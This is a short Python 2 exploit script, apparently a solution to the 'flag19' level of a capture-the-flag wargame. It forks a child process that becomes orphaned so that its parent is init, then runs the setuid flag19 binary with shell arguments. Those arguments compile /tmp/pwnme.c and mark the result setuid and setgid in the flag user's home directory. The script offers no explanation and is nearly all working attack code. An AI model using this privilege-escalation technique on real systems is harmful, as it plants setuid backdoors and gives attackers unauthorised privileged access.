#!/usr/bin/python

import subprocess
import os

print "[*] Starting exploit..."

child = os.fork()
print "[*] My pid is : " + str(os.getpid())
print "[*] Forked..."
if child == 0:
	print "[*] Im the child!"
	print "[*] My pid is : " + str(os.getpid())
	print "[*] My parent was: " + str(os.getppid())
	
	args = ["/bin/sh", "-c", "gcc /tmp/pwnme.c -o /home/flag19/pwnme; chmod 6755 /home/flag19/pwnme"]

	if os.getppid() == 1:
		os.execv("/home/flag19/flag19", args)

